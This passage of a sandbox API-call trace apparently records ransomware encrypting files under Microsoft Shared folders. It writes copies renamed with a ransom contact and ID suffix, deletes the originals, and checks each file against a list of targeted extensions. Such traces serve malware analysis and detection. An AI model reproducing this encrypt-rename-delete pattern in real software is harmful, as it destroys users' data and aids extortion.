[0076.261] SetEndOfFile (hFile=0x1e0) returned 1 [0076.262] CloseHandle (hObject=0x1e0) returned 1 [0076.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0076.262] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0076.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0076.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0076.263] lstrlenW (lpString=".doc") returned 4 [0076.263] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0076.263] lstrlenW (lpString=".docx") returned 5 [0076.263] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0076.263] lstrlenW (lpString=".pdf") returned 4 [0076.263] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0076.263] lstrlenW (lpString=".xls") returned 4 [0076.263] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0076.263] lstrlenW (lpString=".xlsx") returned 5 [0076.263] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0076.263] lstrlenW (lpString=".ppt") returned 4 [0076.263] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0076.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0076.263] lstrlenW (lpString=".zip") returned 4 [0076.263] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0076.263] lstrlenW (lpString=".rar") returned 4 [0076.263] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0076.263] lstrlenW (lpString=".bz2") returned 4 [0076.263] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0076.263] lstrlenW (lpString=".7z") returned 3 [0076.263] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0076.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0076.263] lstrlenW (lpString=".dbf") returned 4 [0076.263] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0076.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0076.263] lstrlenW (lpString=".1cd") returned 4 [0076.263] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0076.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0076.263] lstrlenW (lpString=".jpg") returned 4 [0076.263] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0076.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0076.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0076.264] lstrlenW (lpString=".doc") returned 4 [0076.264] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0076.264] lstrlenW (lpString=".docx") returned 5 [0076.264] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0076.264] lstrlenW (lpString=".pdf") returned 4 [0076.264] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0076.264] lstrlenW (lpString=".xls") returned 4 [0076.264] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0076.264] lstrlenW (lpString=".xlsx") returned 5 [0076.264] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0076.264] lstrlenW (lpString=".ppt") returned 4 [0076.264] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0076.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0076.264] lstrlenW (lpString=".zip") returned 4 [0076.264] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0076.264] lstrlenW (lpString=".rar") returned 4 [0076.264] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0076.264] lstrlenW (lpString=".bz2") returned 4 [0076.264] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0076.264] lstrlenW (lpString=".7z") returned 3 [0076.264] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0076.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0076.265] lstrlenW (lpString=".dbf") returned 4 [0076.265] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0076.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0076.265] lstrlenW (lpString=".1cd") returned 4 [0076.265] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0076.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0076.265] lstrlenW (lpString=".jpg") returned 4 [0076.265] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0076.265] lstrcmpiW (lpString1=".XSL", lpString2=".2020") returned 1 [0076.265] lstrlenW (lpString="BASMLA.XSL") returned 10 [0076.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0076.266] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=227311) returned 1 [0076.266] CloseHandle (hObject=0x1e0) returned 1 [0076.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0076.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0076.266] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.266] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0076.267] GetLastError () returned 0x0 [0076.267] ReadFile (in: hFile=0x1e0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x377ef, lpOverlapped=0x0) returned 1 [0076.275] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0076.279] ReadFile (in: hFile=0x1e0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0076.280] WriteFile (in: hFile=0x1e4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe8, lpOverlapped=0x0) returned 1 [0076.280] SetEndOfFile (hFile=0x1e4) returned 1 [0076.280] CloseHandle (hObject=0x1e4) returned 1 [0076.563] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.563] SetEndOfFile (hFile=0x1e0) returned 1 [0076.566] CloseHandle (hObject=0x1e0) returned 1 [0076.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0076.566] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0076.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0076.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0076.566] lstrlenW (lpString=".doc") returned 4 [0076.566] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0076.566] lstrlenW (lpString=".docx") returned 5 [0076.566] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0076.566] lstrlenW (lpString=".pdf") returned 4 [0076.566] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0076.566] lstrlenW (lpString=".xls") returned 4 [0076.566] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0076.566] lstrlenW (lpString=".xlsx") returned 5 [0076.566] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0076.567] lstrlenW (lpString=".ppt") returned 4 [0076.567] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0076.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0076.567] lstrlenW (lpString=".zip") returned 4 [0076.567] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0076.567] lstrlenW (lpString=".rar") returned 4 [0076.567] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0076.567] lstrlenW (lpString=".bz2") returned 4 [0076.567] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0076.567] lstrlenW (lpString=".7z") returned 3 [0076.567] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0076.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0076.567] lstrlenW (lpString=".dbf") returned 4 [0076.567] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0076.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0076.567] lstrlenW (lpString=".1cd") returned 4 [0076.567] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0076.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0076.567] lstrlenW (lpString=".jpg") returned 4 [0076.567] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0076.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0076.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0076.567] lstrlenW (lpString=".doc") returned 4 [0076.567] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0076.567] lstrlenW (lpString=".docx") returned 5 [0076.567] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0076.567] lstrlenW (lpString=".pdf") returned 4 [0076.567] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0076.567] lstrlenW (lpString=".xls") returned 4 [0076.567] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0076.567] lstrlenW (lpString=".xlsx") returned 5 [0076.567] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0076.567] lstrlenW (lpString=".ppt") returned 4 [0076.567] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0076.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0076.568] lstrlenW (lpString=".zip") returned 4 [0076.568] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0076.568] lstrlenW (lpString=".rar") returned 4 [0076.568] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0076.568] lstrlenW (lpString=".bz2") returned 4 [0076.568] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0076.568] lstrlenW (lpString=".7z") returned 3 [0076.568] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0076.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0076.568] lstrlenW (lpString=".dbf") returned 4 [0076.568] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0076.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0076.568] lstrlenW (lpString=".1cd") returned 4 [0076.568] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0076.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0076.568] lstrlenW (lpString=".jpg") returned 4 [0076.568] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0076.568] lstrcmpiW (lpString1=".jpg", lpString2=".2020") returned 1 [0076.568] lstrlenW (lpString="Roses.jpg") returned 9 [0076.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0077.447] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=1920) returned 1 [0077.447] CloseHandle (hObject=0x204) returned 1 [0077.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0077.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0077.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0077.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0077.448] lstrlenW (lpString=".doc") returned 4 [0077.448] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0077.448] lstrlenW (lpString=".docx") returned 5 [0077.448] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0077.448] lstrlenW (lpString=".pdf") returned 4 [0077.448] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0077.448] lstrlenW (lpString=".xls") returned 4 [0077.448] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0077.448] lstrlenW (lpString=".xlsx") returned 5 [0077.448] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0077.448] lstrlenW (lpString=".ppt") returned 4 [0077.448] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0077.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0077.448] lstrlenW (lpString=".zip") returned 4 [0077.448] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0077.448] lstrlenW (lpString=".rar") returned 4 [0077.448] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0077.448] lstrlenW (lpString=".bz2") returned 4 [0077.448] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0077.448] lstrlenW (lpString=".7z") returned 3 [0077.448] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0077.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0077.449] lstrlenW (lpString=".dbf") returned 4 [0077.449] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0077.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0077.449] lstrlenW (lpString=".1cd") returned 4 [0077.449] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0077.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0077.449] lstrlenW (lpString=".jpg") returned 4 [0077.449] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0077.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0077.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0077.449] lstrlenW (lpString=".doc") returned 4 [0077.449] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0077.449] lstrlenW (lpString=".docx") returned 5 [0077.449] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0077.449] lstrlenW (lpString=".pdf") returned 4 [0077.449] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0077.449] lstrlenW (lpString=".xls") returned 4 [0077.449] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0077.449] lstrlenW (lpString=".xlsx") returned 5 [0077.449] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0077.449] lstrlenW (lpString=".ppt") returned 4 [0077.449] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0077.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0077.449] lstrlenW (lpString=".zip") returned 4 [0077.449] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0077.449] lstrlenW (lpString=".rar") returned 4 [0077.450] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0077.450] lstrlenW (lpString=".bz2") returned 4 [0077.450] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0077.450] lstrlenW (lpString=".7z") returned 3 [0077.450] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0077.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0077.450] lstrlenW (lpString=".dbf") returned 4 [0077.450] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0077.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0077.450] lstrlenW (lpString=".1cd") returned 4 [0077.450] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0077.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0077.450] lstrlenW (lpString=".jpg") returned 4 [0077.450] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0077.450] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0077.451] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0077.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0078.503] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=2985) returned 1 [0078.503] CloseHandle (hObject=0x168) returned 1 [0078.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0078.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0078.504] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0078.504] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0078.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0078.614] GetLastError () returned 0x0 [0078.614] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0xba9, lpOverlapped=0x0) returned 1 [0078.939] WriteFile (in: hFile=0x184, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0078.939] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0078.939] WriteFile (in: hFile=0x184, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.939] SetEndOfFile (hFile=0x184) returned 1 [0078.939] CloseHandle (hObject=0x184) returned 1 [0078.940] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0078.940] SetEndOfFile (hFile=0x168) returned 1 [0078.940] CloseHandle (hObject=0x168) returned 1 [0078.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0078.941] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0078.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0078.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0078.941] lstrlenW (lpString=".doc") returned 4 [0078.941] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.941] lstrlenW (lpString=".docx") returned 5 [0078.941] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.941] lstrlenW (lpString=".pdf") returned 4 [0078.941] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.941] lstrlenW (lpString=".xls") returned 4 [0078.941] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.941] lstrlenW (lpString=".xlsx") returned 5 [0078.941] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.941] lstrlenW (lpString=".ppt") returned 4 [0078.941] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0078.941] lstrlenW (lpString=".zip") returned 4 [0078.941] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.941] lstrlenW (lpString=".rar") returned 4 [0078.942] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.942] lstrlenW (lpString=".bz2") returned 4 [0078.942] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.942] lstrlenW (lpString=".7z") returned 3 [0078.942] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0078.942] lstrlenW (lpString=".dbf") returned 4 [0078.942] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0078.942] lstrlenW (lpString=".1cd") returned 4 [0078.942] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0078.942] lstrlenW (lpString=".jpg") returned 4 [0078.942] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0078.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0078.942] lstrlenW (lpString=".doc") returned 4 [0078.942] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned 